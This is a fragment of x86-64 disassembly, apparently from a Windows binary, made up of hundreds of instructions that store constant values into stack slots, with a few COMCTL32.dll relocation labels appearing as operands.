movabs rax, 0x70f18f20615ef7
mov qword [rsp + 0x81f0], rax
mov dword [rsp + 0x4160], 0xb781
mov eax, 0x415
mov word [rsp + 0x9c8], ax
mov dword [rsp + 0x4164], 0x79dc
mov byte [rsp + 0x166], 0x1c
mov dword [rsp + 0x4168], 0xd8d2
mov dword [rsp + 0x416c], 0x489cc95e
mov eax, 0x38c
mov word [rsp + 0x9cc], ax
mov dword [rsp + 0x4170], 0x400a9f99
mov dword [rsp + 0x4174], 0x9da4
mov dword [rsp + 0x4178], 0x52435687
movabs rax, 0x7027b64ac38a91
mov qword [rsp + 0x81f8], rax
mov dword [rsp + 0x417c], 0x37d49281
mov eax, 0x163
mov word [rsp + 0x9d0], ax
movabs rax, 0x7dcfa1dfff4f87
mov qword [rsp + 0x8200], rax
mov dword [rsp + 0x4180], 0x5e58eb66
mov dword [rsp + 0x4184], 0xcb6d
mov eax, 0x6ee
mov word [rsp + 0x9d4], ax
mov eax, 0x539
mov word [rsp + 0x9d8], ax
mov eax, 0x77f
mov word [rsp + 0x9dc], ax
mov byte [rsp + 0x167], 0x29
movabs rax, 0x7c7300195173eb
mov qword [rsp + 0x8208], rax
mov byte [rsp + 0x168], 0x76
mov eax, 0x3eb
mov word [rsp + 0x9e0], ax
movabs rax, 0x70b39f687c0358
mov qword [rsp + 0x8210], rax
movabs rax, 0x77e651a531b1b5
mov qword [rsp + 0x8218], rax
mov dword [rsp + 0x4188], 0x29d3bc1a
mov byte [rsp + 0x169], 7
mov byte [rsp + 0x16a], 0x43
mov eax, 0xd1f
mov word [rsp + 0x9e4], ax
mov byte [rsp + 0x16b], 0x31
mov byte [rsp + 0x16c], 0xba
mov dword [rsp + 0x418c], 0x379481fc
mov byte [rsp + 0x16d], 0xbb
mov dword [rsp + 0x4190], 0x1f9f7e24
mov dword [rsp + 0x4194], 0x2d58
mov byte [rsp + 0x16e], 0x7d
mov dword [rsp + 0x4198], 0xdc2f
mov eax, 0x36
mov word [rsp + 0x9e8], ax
movabs rax, 0x7e8fb72beb36e8
mov qword [rsp + 0x8220], rax
mov dword [rsp + 0x419c], 0x737a4e85
movabs rax, 0x7ac7a116f2d821
mov qword [rsp + 0x8228], rax
movabs rax, 0x72c6edb5146f28
mov qword [rsp + 0x8230], rax
mov eax, 0x70f
mov word [rsp + 0x9ec], ax
mov byte [rsp + 0x16f], 0x5f
mov byte [rsp + 0x170], 0xb3
movabs rax, 0x7e3544ccbe2fc8
mov qword [rsp + 0x8238], rax
mov byte [rsp + 0x171], 0x74
mov eax, 0x362
mov word [rsp + 0x9f0], ax
mov byte [rsp + 0x172], 0x5f
mov dword [rsp + 0x41a0], 0x3c3f
mov dword [rsp + 0x41a4], 0x2e54
movabs rax, 0x7e914b8506b48d
mov qword [rsp + 0x8240], rax
movabs rax, 0x78e820ecfa7bc0
mov qword [rsp + 0x8248], rax
mov dword [rsp + 0x41a8], 0xb9e1
mov dword [rsp + 0x41ac], 0x1e0b21dc
movabs rax, 0x7e85d24018f2fb
mov qword [rsp + 0x8250], rax
mov eax, 0x90f
mov word [rsp + 0x9f4], ax
mov eax, 0x5b2
mov word [rsp + 0x9f8], ax
movabs rax, 0x71e0bafc83f436
mov qword [rsp + 0x8258], rax
mov eax, 0x671
mov word [rsp + 0x9fc], ax
mov byte [rsp + 0x173], 0xa7
mov byte [rsp + 0x174], 0x56
movabs rax, 0x7b0fad6f6ce409
mov qword [rsp + 0x8260], rax
mov eax, 0xbf8
mov word [rsp + 0xa00], ax
mov dword [rsp + 0x41b0], 0x4377
mov eax, 0x4af
mov word [rsp + 0xa04], ax
mov eax, 0x558
mov word [rsp + 0xa08], ax
mov eax, 0x58a
mov word [rsp + 0xa0c], ax
mov dword [rsp + 0x41b4], 0xa3b1
mov dword [rsp + 0x41b8], 0x3334
mov dword [rsp + 0x41bc], 0x3b8da2ff
mov dword [rsp + 0x41c0], 0x990a2c5
mov eax, 0xf9e
mov word [rsp + 0xa10], ax
mov dword [rsp + 0x41c4], 0xbc65
mov byte [rsp + 0x175], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x54f
mov word [rsp + 0xa14], ax
mov dword [rsp + 0x41c8], 0x5582
mov dword [rsp + 0x41cc], 0x12604850
mov eax, 0x482
mov word [rsp + 0xa18], ax
mov dword [rsp + 0x41d0], 0x36e5
movabs rax, 0x7619a14650a22f
mov qword [rsp + 0x8268], rax
mov dword [rsp + 0x41d4], 0x13d98f85
mov eax, 0xf12
mov word [rsp + 0xa1c], ax
mov byte [rsp + 0x176], 0xe2
mov eax, 0x6c4
mov word [rsp + 0xa20], ax
mov byte [rsp + 0x177], 0xe6
mov eax, 0x1ef
mov word [rsp + 0xa24], ax
mov eax, 0xdce
mov word [rsp + 0xa28], ax
mov dword [rsp + 0x41d8], 0x4084893d
mov byte [rsp + 0x178], 0x2e
mov byte [rsp + 0x179], 0x6e
mov dword [rsp + 0x41dc], 0x664adce
mov byte [rsp + 0x17a], 0x60
mov eax, 0x2e2
mov word [rsp + 0xa2c], ax
mov dword [rsp + 0x41e0], 0x7b3f3e6
mov eax, 0x188
mov word [rsp + 0xa30], ax
movabs rax, 0x7496d023d7954f
mov qword [rsp + 0x8270], rax
mov byte [rsp + 0x17b], 0x62
mov byte [rsp + 0x17c], 0x54
mov dword [rsp + 0x41e4], 0xac9
mov dword [rsp + 0x41e8], 0xfc2a60a
mov eax, 0x315
mov word [rsp + 0xa34], ax
movabs rax, 0x73f48f1d833253
mov qword [rsp + 0x8278], rax
mov byte [rsp + 0x17d], 0xf9
mov byte [rsp + 0x17e], 0x1a
movabs rax, 0x7a74b9bc796a78
mov qword [rsp + 0x8280], rax
mov byte [rsp + 0x17f], 0x59
movabs rax, 0x73c48802382903
mov qword [rsp + 0x8288], rax
movabs rax, 0x7a59cec25e8ee7
mov qword [rsp + 0x8290], rax
movabs rax, 0x729a06f60767f5
mov qword [rsp + 0x8298], rax
movabs rax, 0x75bd3548d94cdb
mov qword [rsp + 0x82a0], rax
mov byte [rsp + 0x180], 0x21
mov eax, 0x2f
mov word [rsp + 0xa38], ax
mov byte [rsp + 0x181], 0x58
mov eax, 0x20a
mov word [rsp + 0xa3c], ax
mov eax, 0x5eb
mov word [rsp + 0xa40], ax
mov byte [rsp + 0x182], 0x94
movabs rax, 0x785b6f2556422a
mov qword [rsp + 0x82a8], rax
mov dword [rsp + 0x41ec], 0xa39d
mov dword [rsp + 0x41f0], 0x4c547cb3
mov dword [rsp + 0x41f4], 0x249ca42f
mov eax, 0xfc
mov word [rsp + 0xa44], ax
mov dword [rsp + 0x41f8], 0xb6ae
mov byte [rsp + 0x183], 0xe9
movabs rax, 0x7991620fc9d9ef
mov qword [rsp + 0x82b0], rax
mov eax, 0x37d
mov word [rsp + 0xa48], ax
mov dword [rsp + 0x41fc], 0x486f707a
mov byte [rsp + 0x184], 0x2b
mov byte [rsp + 0x185], 0x20
mov byte [rsp + 0x186], 0x86
movabs rax, 0x73d339785404f1
mov qword [rsp + 0x82b8], rax
mov dword [rsp + 0x4200], 0x7501e7b7
movabs rax, 0x7520d489665bd4
mov qword [rsp + 0x82c0], rax
mov eax, 0x463
mov word [rsp + 0xa4c], ax
mov dword [rsp + 0x4204], 0x3530c560
mov eax, 0x4d8
mov word [rsp + 0xa50], ax
mov eax, 0x360
mov word [rsp + 0xa54], ax
mov byte [rsp + 0x187], 0x53
mov eax, 0x4b3
mov word [rsp + 0xa58], ax
mov eax, 0x738
mov word [rsp + 0xa5c], ax
mov dword [rsp + 0x4208], 0xaf79
mov dword [rsp + 0x420c], 0x4a3b1ef7
movabs rax, 0x7b2ff653e64182
mov qword [rsp + 0x82c8], rax
movabs rax, 0x7c1c8ac90a48b5
mov qword [rsp + 0x82d0], rax
mov eax, 0x3c5
mov word [rsp + 0xa60], ax
movabs rax, 0x72a4a7e0909ae2
mov qword [rsp + 0x82d8], rax
mov dword [rsp + 0x4210], 0xccde
movabs rax, 0x70216cf880dc25
mov qword [rsp + 0x82e0], rax
mov eax, 0xae6
mov word [rsp + 0xa64], ax
mov byte [rsp + 0x188], 0xd3
mov dword [rsp + 0x4214], 0x41961ea5
mov dword [rsp + 0x4218], 0x54086cd
movabs rax, 0x714ab73addb8da
mov qword [rsp + 0x82e8], rax
mov eax, 0xf61
mov word [rsp + 0xa68], ax
mov dword [rsp + 0x421c], 0x5d38ea71
mov dword [rsp + 0x4220], 0x14e6e6af
mov byte [rsp + 0x189], 0x5f
movabs rax, 0x71b4fa2cde2cd5
mov qword [rsp + 0x82f0], rax
mov eax, 0xcb2
mov word [rsp + 0xa6c], ax
movabs rax, 0x73bb196ab8264a
mov qword [rsp + 0x82f8], rax
movabs rax, 0x7edad048182e5a
mov qword [rsp + 0x8300], rax
mov eax, 0xebb
mov word [rsp + 0xa70], ax
mov dword [rsp + 0x4224], 0x9f1e
movabs rax, 0x7ed0a9794fb1ec
mov qword [rsp + 0x8308], rax
mov dword [rsp + 0x4228], 0x11e6
mov eax, 0x54a
mov word [rsp + 0xa74], ax
mov dword [rsp + 0x422c], 0xad90
movabs rax, 0x72b3bf23893fb7
mov qword [rsp + 0x8310], rax
mov byte [rsp + 0x18a], 0x74
movabs rax, 0x79a8c266d250b4
mov qword [rsp + 0x8318], rax
movabs rax, 0x7470bfced3d2f6
mov qword [rsp + 0x8320], rax
mov byte [rsp + 0x18b], 0x5d
mov byte [rsp + 0x18c], 0x47
mov eax, 0x7df
mov word [rsp + 0xa78], ax
mov byte [rsp + 0x18d], 0x92
movabs rax, 0x7dd4449af314d8
mov qword [rsp + 0x8328], rax
mov dword [rsp + 0x4230], 0xb745
mov byte [rsp + 0x18e], 0x5f
mov eax, 0x93e
mov word [rsp + 0xa7c], ax
movabs rax, 0x7453c4f19d5c0d
mov qword [rsp + 0x8330], rax
movabs rax, 0x7e02ca25b6f4d9
mov qword [rsp + 0x8338], rax
mov byte [rsp + 0x18f], 0x2c
mov eax, 0x77d
mov word [rsp + 0xa80], ax
mov eax, 0x12e
mov word [rsp + 0xa84], ax
mov eax, 0x5e4
mov word [rsp + 0xa88], ax
mov byte [rsp + 0x190], 0x27
movabs rax, 0x70a40cec5efdb1
mov qword [rsp + 0x8340], rax
mov byte [rsp + 0x191], 0x40
mov eax, 0x141
mov word [rsp + 0xa8c], ax
mov byte [rsp + 0x192], 0x77
mov eax, 0x78
mov word [rsp + 0xa90], ax
movabs rax, 0x72cebace898983
mov qword [rsp + 0x8348], rax
mov dword [rsp + 0x4234], 0x302fda6e
mov dword [rsp + 0x4238], 0xb3ee
mov byte [rsp + 0x193], 0x45
mov eax, 0x238
mov word [rsp + 0xa94], ax
movabs rax, 0x7218ec2da8730d
mov qword [rsp + 0x8350], rax
mov dword [rsp + 0x423c], 0x16d57847
mov dword [rsp + 0x4240], 0x69c00d5e
mov dword [rsp + 0x4244], 0x3491
mov byte [rsp + 0x194], 0xa5
movabs rax, 0x72e593126f1edf
mov qword [rsp + 0x8358], rax
movabs rax, 0x7d2e16f1060ee4
mov qword [rsp + 0x8360], rax
movabs rax, 0x7b2edd208e6e57
mov qword [rsp + 0x8368], rax
mov eax, 0x7a1
mov word [rsp + 0xa98], ax
movabs rax, 0x7afe0a71b4ac99
mov qword [rsp + 0x8370], rax
mov dword [rsp + 0x4248], 0x22ee
mov eax, 0x18a
mov word [rsp + 0xa9c], ax
mov byte [rsp + 0x195], 0xe6
mov byte [rsp + 0x196], 0x20
mov eax, 0x284
mov word [rsp + 0xaa0], ax
movabs rax, 0x735f5fe6a2df0d
mov qword [rsp + 0x8378], rax
mov dword [rsp + 0x424c], 0xef8f
mov eax, 0x659
mov word [rsp + 0xaa4], ax
mov byte [rsp + 0x197], 0x50
mov byte [rsp + 0x198], 0x42
mov byte [rsp + 0x199], 0x4f
mov dword [rsp + 0x4250], 0xe5a3
mov eax, 0x6aa
mov word [rsp + 0xaa8], ax
movabs rax, 0x716dab30826a8d
mov qword [rsp + 0x8380], rax
movabs rax, 0x726f32ff4f5f2f
mov qword [rsp + 0x8388], rax
movabs rax, 0x7dd48db1070f5f
mov qword [rsp + 0x8390], rax
movabs rax, 0x754d86d5e20c65
mov qword [rsp + 0x8398], rax
mov eax, 0xcdc
mov word [rsp + 0xaac], ax
mov eax, 0x497
mov word [rsp + 0xab0], ax
mov dword [rsp + 0x4254], 0x43f8
movabs rax, 0x7dc3737df27604
mov qword [rsp + 0x83a0], rax
mov eax, 0x12d
mov word [rsp + 0xab4], ax
mov eax, 0x9d1
mov word [rsp + 0xab8], ax
movabs rax, 0x798fedbbf8b915
mov qword [rsp + 0x83a8], rax
mov dword [rsp + 0x4258], 0x643822b3
movabs rax, 0x753ca13a5aea63
mov qword [rsp + 0x83b0], rax
mov byte [rsp + 0x19a], 0x20
mov eax, 0x1ca
mov word [rsp + 0xabc], ax
mov dword [rsp + 0x425c], 0x55725bb6
mov byte [rsp + reloc.COMCTL32.dll_SetWindowSubclass], 0x6d
mov eax, 0x746
mov word [rsp + 0xac0], ax
mov eax, 0x1f3
mov word [rsp + 0xac4], ax
mov dword [rsp + 0x4260], 0x5dbc
mov byte [rsp + reloc.COMCTL32.dll_RemoveWindowSubclass], 0x3c
mov byte [rsp + reloc.COMCTL32.dll_DefSubclassProc], 0x1b
mov eax, 0x33d
mov word [rsp + 0xac8], ax
mov dword [rsp + 0x4264], 0x279bd279
movabs rax, 0x76db8c0e4bf1e6
mov qword [rsp + 0x83b8], rax
mov eax, 0x75d
mov word [rsp + 0xacc], ax
mov dword [rsp + 0x4268], 0x55218bd3
movabs rax, 0x7b4e5fc9a90da9
mov qword [rsp + 0x83c0], rax
mov byte [rsp + 0x19e], 0xa7
mov byte [rsp + 0x19f], 0x4b
mov dword [rsp + 0x426c], 0x1396
mov dword [rsp + 0x4270], 0x9959
movabs rax, 0x772faf220270ac
mov qword [rsp + 0x83c8], rax
mov dword [rsp + 0x4274], 0x5be290d3
movabs rax, 0x729bd749d4f72b
mov qword [rsp + 0x83d0], rax
mov dword [rsp + 0x4278], 0xe415
mov dword [rsp + 0x427c], 0x87c8
mov eax, 0x99a
mov word [rsp + 0xad0], ax
mov dword [rsp + 0x4280], 0x77f1
mov byte [rsp + 0x1a0], 0x98
movabs rax, 0x7c21a2e698555d
mov qword [rsp + 0x83d8], rax
mov eax, 0x175
mov word [rsp + 0xad4], ax
mov byte [rsp + 0x1a1], 0x33
mov eax, 0x4f1
mov word [rsp + 0xad8], ax
mov dword [rsp + 0x4284], 0x6a325585
mov dword [rsp + 0x4288], 0x33e1
movabs rax, 0x786c9fc7c65a75
mov qword [rsp + 0x83e0], rax
mov eax, 0x449
mov word [rsp + 0xadc], ax
mov dword [rsp + 0x428c], 0x76c4c543
movabs rax, 0x7e523de746071c
mov qword [rsp + 0x83e8], rax
movabs rax, 0x79811f53cc58e0
mov qword [rsp + 0x83f0], rax
mov dword [rsp + 0x4290], 0x36cc
mov byte [rsp + 0x1a2], 0x56
mov byte [rsp + 0x1a3], 0x58
mov eax, 0x167
mov word [rsp + 0xae0], ax
mov byte [rsp + 0x1a4], 0x61
mov dword [rsp + 0x4294], 0x6ba36602
mov eax, 0xd1e
mov word [rsp + 0xae4], ax
movabs rax, 0x7cbf791ad062b8
mov qword [rsp + 0x83f8], rax
movabs rax, 0x726112db1f23b4
mov qword [rsp + 0x8400], rax
movabs rax, 0x72f1286a940d53
mov qword [rsp + 0x8408], rax
mov byte [rsp + 0x1a5], 0x13
mov byte [rsp + 0x1a6], 0x20
mov eax, 0x377
mov word [rsp + 0xae8], ax
mov dword [rsp + 0x4298], 0x360a1211
movabs rax, 0x7ce05a4c7b91a3
mov qword [rsp + 0x8410], rax
mov byte [rsp + 0x1a7], 0x2d
mov eax, 0x363
mov word [rsp + 0xaec], ax
mov eax, 0x4c5
mov word [rsp + 0xaf0], ax
mov byte [rsp + 0x1a8], 0x7a
mov byte [rsp + 0x1a9], 0x39
mov byte [rsp + 0x1aa], 0xa6
mov eax, 0x99
mov word [rsp + 0xaf4], ax
mov eax, 0x14b
mov word [rsp + 0xaf8], ax
mov eax, 0x3de
mov word [rsp + 0xafc], ax
mov byte [rsp + 0x1ab], 0x24
mov eax, 0x210
mov word [rsp + 0xb00], ax
mov byte [rsp + 0x1ac], 0x23
mov dword [rsp + 0x429c], 0xcd15
mov dword [rsp + 0x42a0], 0x89cc
mov eax, 0xdc0
mov word [rsp + 0xb04], ax
mov byte [rsp + 0x1ad], 0xdd
mov eax, 0xc08
mov word [rsp + 0xb08], ax
movabs rax, 0x778649928399e2
mov qword [rsp + 0x8418], rax
mov eax, 0xc33
mov word [rsp + 0xb0c], ax
movabs rax, 0x76b02a1806c31c
mov qword [rsp + 0x8420], rax
mov byte [rsp + 0x1ae], 0x77
movabs rax, 0x7cd771f30a50c5
mov qword [rsp + 0x8428], rax
mov eax, 0x85c
mov word [rsp + 0xb10], ax
movabs rax, 0x744360a6eec5b7
mov qword [rsp + 0x8430], rax
mov byte [rsp + 0x1af], 0x3f
mov dword [rsp + 0x42a4], 0x44925384
mov eax, 0xbd1
mov word [rsp + 0xb14], ax
mov dword [rsp + 0x42a8], 0x3c6ae10d
movabs rax, 0x74beded5c021de
mov qword [rsp + 0x8438], rax
mov dword [rsp + 0x42ac], 0x6300cd7
mov eax, 0x731
mov word [rsp + 0xb18], ax
mov dword [rsp + 0x42b0], 0x5fb1c821
mov dword [rsp + 0x42b4], 0x9916
mov dword [rsp + 0x42b8], 0x9186
mov eax, 0x2b6
mov word [rsp + 0xb1c], ax
mov byte [rsp + 0x1b0], 0x6f
movabs rax, 0x7c69441a72294d
mov qword [rsp + 0x8440], rax
mov eax, 0x224
mov word [rsp + 0xb20], ax
mov eax, 0x5d2
mov word [rsp + 0xb24], ax
mov byte [rsp + 0x1b1], 0x1a
movabs rax, 0x7686e8d9869140
mov qword [rsp + 0x8448], rax
mov dword [rsp + 0x42bc], 0xaf63
mov byte [rsp + 0x1b2], 0x9c
mov dword [rsp + 0x42c0], 0x1fbd6ae5
mov eax, 0x5ed
mov word [rsp + 0xb28], ax
movabs rax, 0x77192fc110016d
mov qword [rsp + 0x8450], rax
mov eax, 0x1ae
mov word [rsp + 0xb2c], ax
mov dword [rsp + 0x42c4], 0x9fb4
mov eax, 0x5bb
mov word [rsp + 0xb30], ax
movabs rax, 0x78b16430db53ec
mov qword [rsp + 0x8458], rax
mov eax, 0x5d1
mov word [rsp + 0xb34], ax
mov byte [rsp + 0x1b3], 0x18
movabs rax, 0x7694c5259d7439
mov qword [rsp + 0x8460], rax
mov eax, 0xe6
mov word [rsp + 0xb38], ax
mov dword [rsp + 0x42c8], 0x3d1a
mov eax, 0x74b
mov word [rsp + 0xb3c], ax
mov byte [rsp + 0x1b4], 0x29
mov eax, 0x880
mov word [rsp + 0xb40], ax
mov dword [rsp + 0x42cc], 0xf522
mov eax, 0x393
mov word [rsp + 0xb44], ax
mov eax, 0x3c4
mov word [rsp + 0xb48], ax
mov byte [rsp + 0x1b5], 0x3f
mov byte [rsp + 0x1b6], 0x22
mov byte [rsp + 0x1b7], 9
movabs rax, 0x7da7e361236c80
mov qword [rsp + 0x8468], rax
mov dword [rsp + 0x42d0], 0x25e8
mov eax, 0x1e9
mov word [rsp + 0xb4c], ax
mov eax, 0x5b
mov word [rsp + 0xb50], ax
mov byte [rsp + 0x1b8], 0x43
mov eax, 0xb24
mov word [rsp + 0xb54], ax
mov dword [rsp + 0x42d4], 0x7f2483b9
mov dword [rsp + 0x42d8], 0xc4c0
movabs rax, 0x76171516aa2a0e
mov qword [rsp + 0x8470], rax
mov dword [rsp + 0x42dc], 0x28e86c46
movabs rax, 0x7cb8e594d2e5eb
mov qword [rsp + 0x8478], rax
mov byte [rsp + 0x1b9], 0x29
movabs rax, 0x7e30979aade9f4
mov qword [rsp + 0x8480], rax
mov dword [rsp + 0x42e0], 0x20d2
mov eax, 0x545
mov word [rsp + 0xb58], ax
mov byte [rsp + 0x1ba], 0x35
mov byte [rsp + 0x1bb], 0x49
mov byte [rsp + 0x1bc], 0x51
mov eax, 0xa30
mov word [rsp + 0xb5c], ax
mov eax, 0x5b4
mov word [rsp + 0xb60], ax
mov dword [rsp + 0x42e4], 0x47096893
mov dword [rsp + 0x42e8], 0x3888
mov eax, 0xcef
mov word [rsp + 0xb64], ax
movabs rax, 0x79b5ae3b912a51
mov qword [rsp + 0x8488], rax
mov dword [rsp + 0x42ec], 0x7f40ea34
mov dword [rsp + 0x42f0], 0x440c11c3
mov eax, 0x27d
mov word [rsp + 0xb68], ax
mov dword [rsp + 0x42f4], 0x2b3a
mov dword [rsp + 0x42f8], 0x15883e4a
mov eax, 0xfd7
mov word [rsp + 0xb6c], ax
movabs rax, 0x7e52eb36718f47
mov qword [rsp + 0x8490], rax
mov eax, 0x689
mov word [rsp + 0xb70], ax
mov dword [rsp + 0x42fc], 0xbf8d
movabs rax, 0x7ee708177295c4
mov qword [rsp + 0x8498], rax
mov eax, 0x491
mov word [rsp + 0xb74], ax
mov eax, 0xe6a
mov word [rsp + 0xb78], ax
mov eax, 0x6e9
mov word [rsp + 0xb7c], ax
mov eax, 0x5c8
mov word [rsp + 0xb80], ax
mov dword [rsp + 0x4300], 0xe54e
mov eax, 0x571
mov word [rsp + 0xb84], ax
mov dword [rsp + 0x4304], 0x5a0d3afb
movabs rax, 0x7340fc01562500
mov qword [rsp + 0x84a0], rax
mov byte [rsp + 0x1bd], 0x67
movabs rax, 0x7db65208d4b286
mov qword [rsp + 0x84a8], rax
mov dword [rsp + 0x4308], 0xbb6d
mov eax, 0x52b
mov word [rsp + 0xb88], ax
movabs rax, 0x73e10df9721e2b
mov qword [rsp + 0x84b0], rax
movabs rax, 0x780b20642b1754
mov qword [rsp + 0x84b8], rax
mov dword [rsp + 0x430c], 0xbfcb
mov dword [rsp + 0x4310], 0x48adec1
movabs rax, 0x70e8dc96eb6576
mov qword [rsp + 0x84c0], rax
movabs rax, 0x7572f6063c0b60
mov qword [rsp + 0x84c8], rax
mov dword [rsp + 0x4314], 0x42787d11
movabs rax, 0x78ff06286909c5
mov qword [rsp + 0x84d0], rax
movabs rax, 0x7da494ee4f58aa
mov qword [rsp + 0x84d8], rax
mov byte [rsp + 0x1be], 0x2f
mov byte [rsp + 0x1bf], 0x1e
movabs rax, 0x717bb2f2af824d
mov qword [rsp + 0x84e0], rax
mov eax, 0x264
mov word [rsp + 0xb8c], ax
movabs rax, 0x7cf2519f9b3fd2
mov qword [rsp + 0x84e8], rax
movabs rax, 0x763eb91040eaa2
mov qword [rsp + 0x84f0], rax
mov eax, 0x8ab
mov word [rsp + 0xb90], ax
mov eax, 0x767
mov word [rsp + 0xb94], ax
mov byte [rsp + 0x1c0], 0xc8
movabs rax, 0x76bd05d216cd7d
mov qword [rsp + 0x84f8], rax
mov eax, 0x536
mov word [rsp + 0xb98], ax
mov byte [rsp + 0x1c1], 0x15
mov eax, 0xc34
mov word [rsp + 0xb9c], ax
mov dword [rsp + 0x4318], 0xb4c9
mov dword [rsp + 0x431c], 0x598957b3
mov byte [rsp + 0x1c2], 0x11
mov eax, 0x1e
mov word [rsp + 0xba0], ax
movabs rax, 0x75b5c64bd8b98b
mov qword [rsp + 0x8500], rax
movabs rax, 0x75257986defdb1
mov qword [rsp + 0x8508], rax
mov byte [rsp + 0x1c3], 0x50
mov dword [rsp + 0x4320], 0x248c
movabs rax, 0x72de0d051be879
mov qword [rsp + 0x8510], rax
mov eax, 0xcda
mov word [rsp + 0xba4], ax
mov dword [rsp + 0x4324], 0x4ab941a8
mov eax, 0x611
mov word [rsp + 0xba8], ax
mov byte [rsp + 0x1c4], 0x95
mov byte [rsp + 0x1c5], 3
mov eax, 0xe2e
mov word [rsp + 0xbac], ax
mov eax, 0xf9
mov word [rsp + 0xbb0], ax
mov byte [rsp + 0x1c6], 0x16
mov dword [rsp + 0x4328], 0x7175cf0d
movabs rax, 0x764ff98c9ae675
mov qword [rsp + 0x8518], rax
mov byte [rsp + 0x1c7], 0x53
movabs rax, 0x73408931b43434
mov qword [rsp + 0x8520], rax
mov dword [rsp + 0x432c], 0xa9b8
mov eax, 0x508
mov word [rsp + 0xbb4], ax
mov dword [rsp + 0x4330], 0x9942
movabs rax, 0x74ad3f6fd35355
mov qword [rsp + 0x8528], rax
mov eax, 0x483
mov word [rsp + 0xbb8], ax
movabs rax, 0x748fa23b36bdda
mov qword [rsp + 0x8530], rax
mov eax, 0x1a4
mov word [rsp + 0xbbc], ax
mov byte [rsp + 0x1c8], 0x26
movabs rax, 0x78aede0ba2fe09
mov qword [rsp + 0x8538], rax
mov eax, 0x13
mov word [rsp + 0xbc0], ax
movabs rax, 0x774bcb7b925941
mov qword [rsp + 0x8540], rax
mov byte [rsp + 0x1c9], 0x21
mov eax, 0x804
mov word [rsp + 0xbc4], ax
mov byte [rsp + 0x1ca], 0x1c
movabs rax, 0x76de34a090f829
mov qword [rsp + 0x8548], rax
mov dword [rsp + 0x4334], 0xfdf3
mov dword [rsp + 0x4338], 0xb6a985a
mov byte [rsp + 0x1cb], 7
mov dword [rsp + 0x433c], 0x9db9
mov dword [rsp + 0x4340], 0x4c8f2f83
movabs rax, 0x7940ee0ca01383
mov qword [rsp + 0x8550], rax
movabs rax, 0x76009742ed9f2c
mov qword [rsp + 0x8558], rax
movabs rax, 0x71207dee6efbe4
mov qword [rsp + 0x8560], rax
mov eax, 0x24
mov word [rsp + 0xbc8], ax
mov eax, 0x46f
mov word [rsp + 0xbcc], ax
mov byte [rsp + 0x1cc], 0x68
mov byte [rsp + 0x1cd], 0x68
mov dword [rsp + 0x4344], 0xcccb
movabs rax, 0x769a51c9c8709b
mov qword [rsp + 0x8568], rax
mov eax, 0x35b
mov word [rsp + 0xbd0], ax
mov eax, 0x5d8
mov word [rsp + 0xbd4], ax
movabs rax, 0x71fabf3689875f
mov qword [rsp + 0x8570], rax
mov dword [rsp + 0x4348], 0x2c63
mov byte [rsp + 0x1ce], 0xb9
mov eax, 0xc43
mov word [rsp + 0xbd8], ax
mov eax, 0xed6
mov word [rsp + 0xbdc], ax
movabs rax, 0x729a9223709750
mov qword [rsp + 0x8578], rax
mov dword [rsp + 0x434c], 0x6235
mov byte [rsp + 0x1cf], 0x12
mov dword [rsp + 0x4350], 0x5b9ce1d
mov dword [rsp + 0x4354], 0x1c7254d4
mov byte [rsp + 0x1d0], 0x6c
movabs rax, 0x746b81530fde4e
mov qword [rsp + 0x8580], rax
mov eax, 0xa16
mov word [rsp + 0xbe0], ax
mov dword [rsp + 0x4358], 0x1a10726f
mov byte [rsp + 0x1d1], 0x1e
mov dword [rsp + 0x435c], 0x5580
mov byte [rsp + 0x1d2], 0x22
mov eax, 0xf07
mov word [rsp + 0xbe4], ax
mov byte [rsp + 0x1d3], 0xd3
mov eax, 0x7e8
mov word [rsp + 0xbe8], ax
mov dword [rsp + 0x4360], 0x5653
mov dword [rsp + 0x4364], 0x355
mov eax, 0x8e1
mov word [rsp + 0xbec], ax
mov eax, 0x58b
mov word [rsp + 0xbf0], ax
mov eax, 0x7fd
mov word [rsp + 0xbf4], ax
mov eax, 0x70b
mov word [rsp + 0xbf8], ax
mov byte [rsp + 0x1d4], 0x32
mov dword [rsp + 0x4368], 0x89eb
mov dword [rsp + 0x436c], 0x6545c9b7
mov eax, 0x44f
mov word [rsp + 0xbfc], ax
mov dword [rsp + 0x4370], 0xd749f0d
movabs rax, 0x732fd0ee71d6b3
mov qword [rsp + 0x8588], rax
mov eax, 0x7b3
mov word [rsp + 0xc00], ax
mov dword [rsp + 0x4374], 0x5781a7bd
movabs rax, 0x7a8ea2c3229700
mov qword [rsp + 0x8590], rax
mov byte [rsp + 0x1d5], 0xd4
movabs rax, 0x700b07f9b3689b
mov qword [rsp + 0x8598], rax
movabs rax, 0x7b7d207cb59b8f
mov qword [rsp + 0x85a0], rax
mov byte [rsp + 0x1d6], 0x86
movabs rax, 0x724d6863c5a422
mov qword [rsp + 0x85a8], rax
mov dword [rsp + 0x4378], 0xe771
movabs rax, 0x7282fd453e4d76
mov qword [rsp + 0x85b0], rax
mov dword [rsp + 0x437c], 0x4b48e6e7
mov byte [rsp + 0x1d7], 0x85
movabs rax, 0x733aa2256d2e13
mov qword [rsp + 0x85b8], rax
mov dword [rsp + 0x4380], 0x44807749
mov eax, 0xdc7
mov word [rsp + 0xc04], ax
mov dword [rsp + 0x4384], 0x6380
mov byte [rsp + 0x1d8], 0xf5
mov byte [rsp + 0x1d9], 0xe4
mov dword [rsp + 0x4388], 0x44580ccc
movabs rax, 0x7800fb68566688
mov qword [rsp + 0x85c0], rax
movabs rax, 0x76c967358b0331
mov qword [rsp + 0x85c8], rax
movabs rax, 0x7868cf9f84278f
mov qword [rsp + 0x85d0], rax
mov eax, 0x243
mov word [rsp + 0xc08], ax
movabs rax, 0x7d4a36c6c79853
mov qword [rsp + 0x85d8], rax
mov byte [rsp + 0x1da], 0x1f
mov eax, 0x4e0
mov word [rsp + 0xc0c], ax
mov dword [rsp + 0x438c], 0x4f05
movabs rax, 0x7c3cb5952d6535
mov qword [rsp + 0x85e0], rax
mov byte [rsp + 0x1db], 0xbf
mov dword [rsp + 0x4390], 0x3eca
mov dword [rsp + 0x4394], 0xb3fb
movabs rax, 0x701389d0b98ed3
mov qword [rsp + 0x85e8], rax
mov byte [rsp + 0x1dc], 0xf8
mov dword [rsp + 0x4398], 0x130
mov dword [rsp + 0x439c], 0xf256
mov byte [rsp + 0x1dd], 0x42
movabs rax, 0x74949d25e24859
mov qword [rsp + 0x85f0], rax
movabs rax, 0x75b028c51f770d
mov qword [rsp + 0x85f8], rax
movabs rax, 0x7e2c99c8077d1b
mov qword [rsp + 0x8600], rax
mov dword [rsp + 0x43a0], 0x204
